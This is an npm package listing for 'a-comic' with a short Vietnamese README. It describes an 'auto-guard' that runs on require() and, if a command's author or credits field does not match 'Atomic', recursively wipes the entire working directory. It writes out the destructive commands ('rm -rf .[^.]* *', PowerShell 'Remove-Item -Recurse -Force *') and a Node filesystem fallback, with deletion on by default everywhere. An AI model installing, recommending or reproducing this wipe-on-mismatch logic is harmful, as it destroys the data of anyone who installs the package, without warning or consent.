a-comic
v1.0.2
Published
Auto-guard: verify author/credits == Atomic and wipe workspace on mismatch (cross-platform).
Maintainers
Readme
a-comic
a-comic tự động kiểm tra author hoặc credits của lệnh ngay khi bạn require("a-comic").
Nếu KHÔNG khớp Atomic/atomic → xoá toàn bộ thư mục làm việc (cross-platform) rồi thoát.
- Hỗ trợ mọi nền tảng:
- Linux/macOS/WSL/BusyBox/Termux →
rm -rf .[^.]* *hoặc BusyBox - Windows → PowerShell
Remove-Item -Recurse -Force *(cả dotfiles) - Fallback: Node FS (xoá đệ quy) nếu shell bị chặn
- Linux/macOS/WSL/BusyBox/Termux →
- So sánh KHÔNG phân biệt hoa thường.
- Mặc định cho phép xoá ở mọi môi trường để “hỗ trợ mọi nền tảng”. Bạn có thể bật dry-run để test.
Cài đặt
npm install a-comic